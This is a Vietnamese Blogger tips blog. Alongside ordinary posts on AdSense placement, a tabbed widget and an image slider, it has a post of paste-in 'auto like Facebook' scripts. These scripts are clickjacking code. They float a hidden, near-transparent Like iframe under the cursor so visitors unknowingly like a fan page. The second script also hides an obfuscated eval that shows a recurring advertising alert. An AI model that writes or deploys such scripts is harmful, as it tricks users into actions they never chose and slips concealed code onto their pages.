Showing posts with label javascript. Show all posts
Showing posts with label javascript. Show all posts

Friday, April 4, 2014

Chèn quảng cáo Google Adsense...vào bài viết trong Blogger

Bài viết sau đây sẽ hướng dẫn các bạn thủ thuật blogger cách chèn mã quảng cáo của Google Adsense vào Blogger, cách này cũng áp dụng với một số quảng cáo khác như: Adnet.vn, Bidvertiser...để các bạn có thể thiết kế website chuyên nghiệp. Với thủ thuật này thì sẽ giúp bạn SEO website được tốt hơn vì được ưu ái từ Google.

<script type="text/javascript"><!-- google_ad_client = "pub-2130301322121363";
 /* 250x250, Được tạo ra 20/03/2011 */
 google_ad_slot = "4280005562"; 
 google_ad_width = 300; 
 google_ad_height = 250; //-->
 </script> <script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>


1. Chèn trực tiếp vào tiện ích HLMT/ JavaScript

Vào Quản trị - Bố cục - Thêm tiện ích - chọn HTML/JaveScrip và dán đoạn mã quảng cáo Adsense vào.

Cách này đơn giản, dễ quản lý nhưng không thay đổi được kích thước và không hiện thị được trong bài đăng


2. Chèn vào Template của Blog

Đây là cách được nhiều blogger sử dụng vì quảng cáo sẽ hiện thị trong bài đăng, có thể thay đổi được kích thước và hiển thị được ở nhiều vị trí tối ưu trên blog. Trước khi chèn mã Adsense vào Blog bạn phải chuyển đổi (converter) Google Adsense Converter.

Sau khi chuyển đổi bạn nhận được một mã mới, sử dụng mã này mới có thể chèn vào Template

a/ Chèn trên đầu và dưới tiêu đề bài đăng nhưng dưới tiêu đề blog.



Vào Mẫu (Design) - Chỉnh sửa HTML (Edit HTML) - Chọn Mở rộng tiện ích mẫu (Expand Widget Templates).
- Tìm đoạn code sau:

<div class='post-header-line-1'/>

- CHèn ngay vào dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads'> Mã Adsense đã chuyển đổi </p> </b:if>

b/ Chèn vào dưới cuối mỗi bài đăng.


- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:

<div class='post-body entry-content'> <p><data:post.body/></p> <div style='clear: both;'/> </div>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads'> Mã Adsense đã chuyển đổi </p> </b:if>

c/ Hiện quảng cáo bên trái mỗi bài đăng.




- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:

<div class='post-header-line-1'/>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads' style='float:left'> Mã Adsense đã chuyển đổi </p> </b:if>

d/ Hiện quảng cáo bên phải mỗi bài đăng.


- Bấm (Ctrl + F): Tìm đoạn code tương tự sau:
<div class='post-header-line-1'/>

- Chèn vào ngay dưới nó đoạn mã sau:

<b:if cond='data:blog.pageType == "item"'> <p class='ads' style='float:right'> Mã Adsense đã chuyển đổi </p> </b:if>





    Thursday, March 6, 2014

    Thêm wiget Multi-Tabbed cho sidebar

    1. Vào bố cục /thêm tiện ích/ chọn HTML/JavaScript
    2.Dán đoạn code bên dưới vào

    <script type='text/javascript'>
    //<![CDATA[
    function NewBloggerTips_oom(NBTID, id)
    {
    var NewBloggerTips = document.getElementById(NBTID);
    var NBTs = NewBloggerTips.firstChild;
    while (NBTs.className != "NBTs" ) NBTs = NBTs.nextSibling;
    var NBT = NBTs.firstChild;
    var i = 0;
    do
    {
    if (NBT.tagName == "A")
    {
    i++;
    NBT.href = "javascript:NewBloggerTips_ubah('"+NBTID+"', "+i+");";
    NBT.className = (i == id) ? "Active" : "";
    NBT.blur();
    }
    }
    while (NBT = NBT.nextSibling);
    var Halamans = NewBloggerTips.firstChild;
    while (Halamans.className != 'Halamans') Halamans = Halamans.nextSibling;
    var Halaman = Halamans.firstChild;
    var i = 0;
    do
    {
    if (Halaman.className == 'Halaman')
    {
    i++;
    if (Halamans.offsetHeight) Halaman.style.height = (Halamans.offsetHeight-2)+"px";
    Halaman.style.overflow = "auto";
    Halaman.style.display = (i == id) ? 'block' : 'none';
    }
    }
    while (Halaman = Halaman.nextSibling);
    }
    function NewBloggerTips_ubah(NBTID, id) { NewBloggerTips_oom(NBTID, id);
    }
    function NewBloggerTips_inisial(NBTID) { NewBloggerTips_oom(NBTID, 1);
    document.write('');}
    //]]>
    </script>

    <style>
    div.NewBloggerTips div.NBTs {
    height: 24px;
    overflow: hidden;
    }
    div.NewBloggerTips div.NBTs a:hover, div.NewBloggerTips div.NBTs a.Active {
    background-color: #eee;
    }
    div.NewBloggerTips div.Halamans {
    clear: both;
    border: 2px solid #f4f4f4;
    overflow: hidden;
    background-color: #ffffff;
    }
    div.NewBloggerTips div.Halamans div.Halaman {
    height: 100%; padding: 0px;
    overflow: hidden;
    }
    div.NewBloggerTips div.Halamans div.Halaman div.Alas {
    padding: 3px 5px;
    }
    div.NewBloggerTips div.NBTs a {
    border-left:1px solid #eee;
    border-right:1px solid #eee;
    border-top:1px solid #eee;
    border-boNBTom:0px solid #eee;
    float: left;
    display: block;
    width: 95px;
    text-align: center;
    vertical-align: middle;
    height: 24px;
    padding-top: 3px;
    text-decoration: none;
    font-family: "Arial", Serif;
    font-size: 11px;
    font-weight: 900;
    color: #000000
    }
    </style>

    <form action="NewBloggerTips.html" method="get">
    <div id="NewBloggerTips" class="NewBloggerTips">
    <div style="width: 300px;" class="NBTs"> <a>Tab 1 Title</a> <a>Tab 2 Title</a> <a>Tab 3 Title</a></div>
    <div style="width: 300px; height: 300px;" class="Halamans">
    <div class="Halaman">
    <div class="Alas">
    <br/>
    Tab 1 content goes here
    </div>
    </div>
    <div class="Halaman">
    <div class="Alas">
    <br/>
    Tab 2 content goes here
    </div>
    </div>
    <div class="Halaman">
    <div class="Alas">
    <br/>
    Tab 3 content goes here
    </div>
    </div>
    </div>
    <small><a style='margin-left:10px;align:right;' href='http://ihowmore.blogspot.ru/2013/04/add-multi-tabbed-widget-to-blogger.html' target='_blank'>Multi-Tabbed Widget</a> | <a href='http://ihowmore.blogspot.com/' target='_blank'>iHowMore</a></small>
    </div>
    </div></form>
    <script type="text/javascript">NewBloggerTips_inisial('NewBloggerTips');</script>


    3.Chỉnh sửa lại cho phù hợp theo ý bạn
    4.xong !

    Monday, October 21, 2013

    Code auto like Facebook khi click chuột vào vị trí bất kỳ cho web, blogspot

    Hiện nay bạn thấy khá nhiều trang trên face có số lượng like rất lớn nhưng thực tế có phải đó là con số thực hay không, Câu trả lời đa số là không. Rất nhiều người đã dùng mẹo để người dùng trở thành viên của họ mà đến người dùng nếu không để ý cũng không hề hay biết chuyện đó. Và chính bản thân mình nhiều lúc cũng thấy lạ là tại sao mình không hề like trang đó mà trên timeline lại nói mình thích trang đó.
    Qua tìm hiển, đã phát hiện ra họ đang sử dụng một phương thức đó là dùng script auto like để khiến người đùng like trang fanpage mà không hề hay biết. Mình giới thiệu nhưng nó không đồng nghĩa với việc mình khuyến khích các bạn sử dung cách này vì sau đó nếu họ bấm unlike thì sẽ mất hình ảnh của bạn đó.
    Bài viết này mình sẽ giới thiệu với các bạn 2 style khác nhau để các bạn lựa chọn cho thích hợp với sở thích của chính các bạn, Mỗi dạng sẽ có một ưu điểm khác nhau bạn có thể tham khảo ở bên dươi:



    Style 1: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ là unlike
    Style 2: Bấm lần một sẽ là like và bấm tiếp lần 2 sẽ không bị unlike

    » Nguyên tắc hoạt động của Auto like Facebook khi click chuột vào vị trí bất kỳ cho blogspot
    - Cách tăng này thành công 100%, không hack, ko lừa gạt và thường áp dụng cho những website blog có lượt truy cập lớn (cách này tăng like rất nhanh và hiệu quả)

    - Cách tăng like fanpage này dựa chủ yếu vào việc tạo ra 1 nút Like Fanpage. Nút Like này sẽ được chèn vào website của bạn dưới dạng “ẩn” (tức là người dùng không nhìn thấy). Sau đó nút Like này sẽ được cấu hình để “chạy” theo con trỏ chuột (tất nhiên là chạy ẩn để người dùng không nhìn thấy, không gây khó chịu).

    - Khi người dùng vào website, click phát đầu tiên vào bất cứ mục nào trên website của bạn, thì vô hình họ đã click Like Fanpage do bạn đặt vào website của mình.
    » Style 1: Kết hợp cả lile và dislike tự động cho facebook
    Với style này khi bạn click chuột lần đầu sẽ là like nhưng nếu bạn tiếp tục bấm chuột lần nữa thì nó sẽ là dislike, Điều này đồng nghĩa với việc hên xui kiểu 50 - 50 có lúc được có lúc không.
    1- Vào Bố cục (Layout)
    2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

    <script type="text/javascript">
    //<![CDATA[
    (function(){
    var Xcord = 0,
    Ycord = 0,
    IE = document.all ? true : false;
    if (!IE) document.captureEvents(Event.MOUSEMOVE);
    var lbox = document.createElement('iframe');
    lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/itviet360') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=30';
    lbox.scrolling = 'no';
    lbox.frameBorder = 0;
    lbox.allowTransparency = 'true';
    lbox.style.border = 0;
    lbox.style.overflow = 'hidden';
    lbox.style.cursor = 'pointer';
    lbox.style.width = '53px';
    lbox.style.height = '23px';
    lbox.style.position = 'absolute';
    lbox.style.opacity = 0.5;
    document.getElementsByTagName('body')[0].appendChild(lbox);
    window.addEventListener('mousemove', mouseMove, false);
    setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
    }, 10000);
    function mouseMove(e) {
    if (IE) {
    Xcord = event.clientX + document.body.scrollLeft;
    Ycord = event.clientY + document.body.scrollTop;
    } else {
    Xcord = e.pageX;
    Ycord = e.pageY;
    }
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    lbox.style.top = (Ycord - 8) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    return true
    }
    })();
    //]]>
    </script>

    » Tùy chỉnh:
    Bạn thay http://www.facebook.com/itviet360 thành URL trang face của bạn.
    Tùy chỉnh lại các giá trị màu cam cho phù hợp với bạn nha,
    3- Lưu tiện ích lại và kiểm tra kết quả của bạn nha.
    » Style 2: Tự động like lần đầu và những lần bấm sau không có tác dụng.
    Với dạng này Khi người dùng click lần 1 sẽ like Fan của bạn, nhưng nếu họ click thêm lần nữa bị cũng không bị Unlike (giảm nguy cơ mất like)
    1- Vào Bố cục (Layout)
    2- Tạo một tiện ích HTML/Javascripts và dán code bên dưới vào:

    <script>
    var fan_page_url = 'https://www.facebook.com/itviet360'
    var opacity =0.04;
    var time = 45000;
    </script>
    <script>
    if((document.getElementById) && window.addEventListener || window.attachEvent){
    (function(){
    var hairCol = "#ff0000";

    var d = document;
    var my = -10;
    var mx = -10;
    var r;
    var vert = "";

    var idx = document.getElementsByTagName('div').length;

    var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=80&action=like&colorscheme=light&height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
    var like;
    var faceLike=getCookie("faceLike");
    if (faceLike!=null && faceLike!="")
    {
    }
    else
    {
    setCookie("faceLike",'liked',1);
    document.write(thehairs);
    like = document.getElementById("theiframe");
    document.getElementsByTagName('body')[0].appendChild(like);
    }
    eval('\u0073\u0065\u0074\u0049\u006e\u0074\u0065\u0072\u0076\u0061\u006c\u0028\u0066\u0075\u006e\u0063\u0074\u0069\u006f\u006e\u0028\u0029\u007b\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0047\u0069\u0061\u0069\u0070\u0068\u0061\u0070\u0074\u0068\u0075\u006f\u006e\u0067\u0068\u0069\u0065\u0075\u002e\u006f\u0072\u0067\u0020\u0063\u0068\u0075\u0079\u00ea\u006e\u0020\u0074\u0072\u0061\u006e\u0067\u0020\u006d\u0061\u0072\u006b\u0065\u0074\u0069\u006e\u0067\u0020\u0077\u0065\u0062\u0073\u0069\u0074\u0065\u0022\u0029\u007d\u002c\u0031\u0038\u0030\u0030\u0030\u0030\u0030\u0030\u0029\u003b');

    var pix = "px";
    var domWw = (typeof window.innerWidth == "number");
    var domSy = (typeof window.pageYOffset == "number");






    if (domWw)
    r = window;
    else{
    if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
    r = d.documentElement;
    else{
    if (d.body && typeof d.body.clientWidth == "number")
    r = d.body;
    }
    }


    if(time != 0){
    setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(like);

    if (window.addEventListener){
    document.removeEventListener("mousemove",mouse,false);
    }
    else if (window.attachEvent){
    document.detachEvent("onmousemove",mouse);
    }
    }, time);
    }

    function scrl(yx){
    var y,x;
    if (domSy){
    y = r.pageYOffset;
    x = r.pageXOffset;
    }
    else{
    y = r.scrollTop;
    x = r.scrollLeft;
    }
    return (yx == 0) ? y:x;
    }

    function mouse(e){
    var msy = (domSy)?window.pageYOffset:0;
    if (!e)
    e = window.event;
    if (typeof e.pageY == 'number'){
    my = e.pageY - 15 - msy;
    mx = e.pageX - 34;
    }
    else{
    my = e.clientY - 16 - msy;
    mx = e.clientX - 36;
    }
    vert.top = my + scrl(0) + pix;
    vert.left = mx + pix;
    }

    function ani(){
    vert.top = my + scrl(0) + pix;
    setTimeout(ani, 300);
    }


    function init(){
    vert = document.getElementById("theiframe").style;
    ani();
    }
    function getCookie(c_name)
    {
    var c_value = document.cookie;
    var c_start = c_value.indexOf(" " + c_name + "=");
    if (c_start == -1)
    {
    c_start = c_value.indexOf(c_name + "=");
    }
    if (c_start == -1)
    {
    c_value = null;
    }
    else
    {
    c_start = c_value.indexOf("=", c_start) + 1;
    var c_end = c_value.indexOf(";", c_start);
    if (c_end == -1)
    {
    c_end = c_value.length;
    }
    c_value = unescape(c_value.substring(c_start,c_end));
    }
    return c_value;
    }

    function setCookie(c_name,value,exdays)
    {
    var exdate=new Date();
    exdate.setDate(exdate.getDate() + exdays);
    var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
    document.cookie=c_name + "=" + c_value;
    }

    function checkCookie()
    {
    var faceLike=getCookie("faceLike");
    if (faceLike!=null && faceLike!="")
    {

    alert("Welcome again " + faceLike);

    }
    else
    {
    setCookie("faceLike",'liked',1);
    }
    }


    if (window.addEventListener){
    window.addEventListener("load",init,false);
    document.addEventListener("mousemove",mouse,false);
    }
    else if (window.attachEvent){
    window.attachEvent("onload",init);
    document.attachEvent("onmousemove",mouse);
    }

    })();
    }//End
    </script>

    Lưu mẫu lại và kiểm tra thành quả của bạn nha.

    Tuesday, October 8, 2013

    Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot

    Đối với Slider thì việc sử dụng làm điểm nhấn cho blog, website là điều cần thiết. 1 Slide đẹp và mượt mà luôn được người dùng hướng tới. Bài viết này itviet360 chia sẻ với bạn code và cách làm thêm 1 Jquery Image Slider - Slide ảnh với thanh trượt ngang cho Blogspot cũng như trên website khác
    DEMO

    - Vào bảng điều khiển Blogger -> Mẫu (Template) -> Chỉnh sửa mẫu (Edit HTML)
    - Tìm tới </head>  và dán code dưới đây ngay trên nó

    <link href='https://bloggertrixcode.googlecode.com/files/animate.css' rel='stylesheet' type='text/css'/>

    <script src='https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js'/>

    <script src='https://bloggertrixcode.googlecode.com/files/border-slider.js'/>

    <script>/****/

    jQuery(document).ready(function(){

    jQuery('#bloggertrix_slider').animatedSlider({

    'loader':true,

    'width':900,

    'height':300,

    'slide_animation_data' :

    [//slides

    //slide1 BEGIN

    [

    {

    'target_element':'.txt1',

    'animation_frame':0,

    'animation_type':'tada'

    },{

    'target_element':'.txt2',

    'animation_frame':0.8,

    'animation_type':'tada'

    }

    ],//slide1 END



    //slide2 BEGIN

    [{

    'target_element':'img',

    'animation_frame':0,

    'animation_type':'bounceInUp'

    },{

    'target_element':'p',

    'animation_frame':0.7,

    'animation_type':'bounceInUp'

    }],//slide2 END

    //slide3 BEGIN

    [{

    'target_element':'img',

    'animation_frame':0,

    'animation_type':'bounceInUp'

    },{

    'target_element':'p',

    'animation_frame':0.6,

    'animation_type':'bounceInUp'

    }],//slide3 END



    //slide4 BEGIN

    [{

    'target_element':'img',

    'animation_frame':0,

    'animation_type':'bounceInUp'

    },{

    'target_element':'p',

    'animation_frame':0.5,

    'animation_type':'bounceInUp'

    }],//slide4 END

    //slide5 BEGIN

    [{

    'target_element':'img',

    'animation_frame':0,

    'animation_type':'bounceInUp'

    },{

    'target_element':'p',

    'animation_frame':0.4,

    'animation_type':'bounceInUp'

    }],//slide5 END



    //slide BEGIN

    [{

    'target_element':'h1',

    'animation_frame':0,

    'animation_type':'bounceInUp'

    },{

    'target_element':'p',

    'animation_frame':0.3,

    'animation_type':'bounceInUp'

    }

    ]//slide END

    ]});});

    </script>

    <link href='http://fonts.googleapis.com/css?family=Kavoon' rel='stylesheet' type='text/css'/>

    - Tiếp theo tìm tới ]]></b:skin> và dán code dưới đây ngay trên nó

    /* The CSS Code for the slider starts here bloggertrix.com

    #bloggertrix_slider {margin:0 auto;}

    #bloggertrix_slider .slider-contents {overflow:hidden;border:8px solid #DDDDDD;box-shadow:0 0 3px rgba(3,3,3,0.5);}

    #bloggertrix_slider .slide-nav {float:left;padding: 0 8px;height: 26px;background: #3a3a3a;}

    #bloggertrix_slider .slide-nav a {width: 14px;height: 14px;text-indent: -999px;float: left;list-style: none;display: block;background: #dddddd;margin: 5px 4px;cursor: pointer;}

    #bloggertrix_slider .slide-nav a:hover {

    background: #27BAFF !important;}

    #bloggertrix_slider .progress-bar {width:0px;background-color:#AAAAAA;height:2px;top: -2px;overflow:visible !important;display:block !important;position: relative;}

    #bloggertrix_slider .controls {height: 26px;margin: 4px auto 0;display: table;}

    #bloggertrix_sliderr .pause-play-control {width: 46px;height: 26px;float: left;background: #3A3A3A;color: #fff;}

    #bloggertrix_slider .pause-play-control a {width:9px;height: 19px;display:block;overflow:hidden;text-indent: -9999px;background:url('http://img837.imageshack.us/img837/7647/fqnu.png');cursor: pointer;margin:3px auto 0;}

    #bloggertrix_slider .pause-play-control a.play-slide {background-position:-5px -3px;}

    #bloggertrix_slider .pause-play-control a.pause-slide {background-position:-29px -3px;}

    #bloggertrix_slider .slider-next,#bloggertrix_slider .slider-prev {

    width: 46px;height: 46px;background: #3a3a3a;display: block;font-size: 41px;color: #FFF;font-weight: bold;text-align: center;position: absolute;cursor: pointer;text-indent: -999px;overflow: hidden;}

    #bloggertrix_slider .slider-next:before,#bloggertrix_slider .slider-prev:before {background: #3a3a3a url('http://img837.imageshack.us/img837/7647/fqnu.png');width:32px;height:32px;position:relative;top:7px;left:7px;content:'';display:block;}

    /*#bloggertrix_slider .slider-next {margin: -220px 0 0 681px;}

    #bloggertrix_slider .slider-prev {margin: -220px 0 0 4px;}*/

    #bloggertrix_slider .slider-next:before {background-position:-5px -31px;}

    #bloggertrix_slider .slider-prev:before {background-position:-5px -70px;}

    .slide1 img {position:relative;}

    .img-logo {margin-left: 150px;}

    .img-mobile {margin-top: 45px;}

    .img-tablet {margin: -168px 0 0 139px;}

    .img-laptop {margin: -186px 0 0 349px;}

    .slide1 {background-color: #67b608}

    .slide2 {background-color: #03bbd3}

    .slide3 {background-color: #cf6b30}

    .slide4 {background-color: #f2a87b}

    .slide5 {background-color: #388efd}

    - Lưu mẫu lại
    - Vào bố cục (Layout) -> Thêm tiện ích (Add a Widget) -> HTML/Javascript
    - Dán code dưới đây vào nó

    <div id="bloggertrix_slider">

    <div class="slide1">

    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPKfIYf3VKzoHTZhNQJ93dakU7H_a7UlticenP-LZ0mJ0ELiswlQk2nC1RphWj-varbD2-xlcL0RtKfvZ_hYVbNkH_PFmtzXIkoLZGsllsKw4SiExi9wHwlExEWaJGhP2FSePbKfuNsO4/s1600/bloggertrix1.jpg" />

    </div>

    <div class="slide2">

    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpR2yP1q1kc0HGOmiGlh9N_L4OZ566O_5ThcywrHLbauzlAsJ-ImWOB52IAvPWrAR0uC0cZ4GkGGPLPMEMBJLnH5QUEwFm3fJTPgPaSIfzlKuhIJsbQLra_YSNJ4MboBmHnA5qQULBZnE/s1600/bloggertrix2.jpg" />

    </div>

    <div class="slide3">

    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlZM1Qvrd_F2FAfsNE6N6Spb0-GzJ2Xn3OBe9evL_unPI_3UOVRp7KmpZEQPFFAm9ixPaoooJnwI0EFJhCuvz2GHvu32Qaaff-isjdYi26Wh_Ww8E5C7j-dgPLwWBjuj0tYV7vVZ7b5fs/s1600/bloggertrix3.jpg" />

    </div>

    <div class="slide4">

    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYFkhJ64HbcRf9-lZgYamEmVxj1QN_g3VqcAtgCnKrLroEsZs-VQfDnw3Q31q-UPDR99XgYbi4mqJbdLxcHOt5HRPig3cNWfXJ5NH8VuyGozNnbB-KukseMG38dxUNcFlkHTdPLMtBhBo/s1600/bloggertrix4.jpg" />

    </div>

    <div class="slide5">

    <img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgw5pUeCyQ50j2QA7bwlCkqBAfoc9cJUxyT4nVNmOaTKHnfFRY-_0g0fxcuoncuXhyphenhyphenRMAADS1sWIjBrMN2Q4fVumrP8DYAdMY8_4G__cTkEMf-nigS_pLCzNJGoG1Tttx-lN9MfykLqoMU/s1600/bloggertrix5.jpg" />

    </div>

    </div>

    - Lưu và xem kết quả :)

    Wednesday, October 2, 2013

    Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website

    Có nhiều hình thức để làm tăng Like Page Facebook, tăng theo dõi G+,...hoặc các bạn muốn bài viết của mình được nhiều Like hơn...
    - Đối với tất cả mã nguồn Website khác nhau thì việc thêm code để làm tăng Like cho link trang FB, link Website,...thì giống nhau. Bài viết này itviet360 chia sẻ với bạn code đó và phân tích sơ qua về lợi - hại của nó.
    Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
    Cách tăng Like Page Facebook, link G+ code sử dụng cho blog, Website
    Demo tại bài viết: template mxfluity responsive blogspot
    Phân tích:
    Cái lợi:
    - Tăng Like Facebook, tăng G+, twitter
    - Tăng Traffic tới Website, blog, Page FB,...
    Cái hại:
    - ^_^ khó chịu với người xem bài viết 1 xíu
    Cách làm thủ thuật này. Mình làm trên Blogspot, Website thì các bạn làm tương tự cũng như hướng dẫn
    1. Vào bảng điều khiển Blogger -> mẫu (Template) -> Chỉnh sửa HTML (Edit HTML)
    2. Dán đoạn code dưới đây ngay trên thẻ đóng </head>
    <link href='http://diendan.itviet360.com/js/likeblog.css' rel='stylesheet' type='text/css'/>

    3. Tiếp theo khi viết bài cho Web hoặc blog, bạn chỉ cần dán đoạn mã dưới đây




    Trong đó:
    - Link: http://www.itviet360.com/p/dich-vu-seo-web-gia-re-giai-phap-tot.html là link các bạn muốn like. Nếu là Page FAcebook thì các bạn thay bằng link Page FB nhé: https://www.facebook.com/itviet360
    - Con số ID: 374631889294427 này các bạn có thể sử dụng của mình nếu các bạn không rành về  App của Facebook hoặc bạn có thể tạo theo hướng dẫn ở bài viết này: Thêm facebook recommendations bar cho blogspot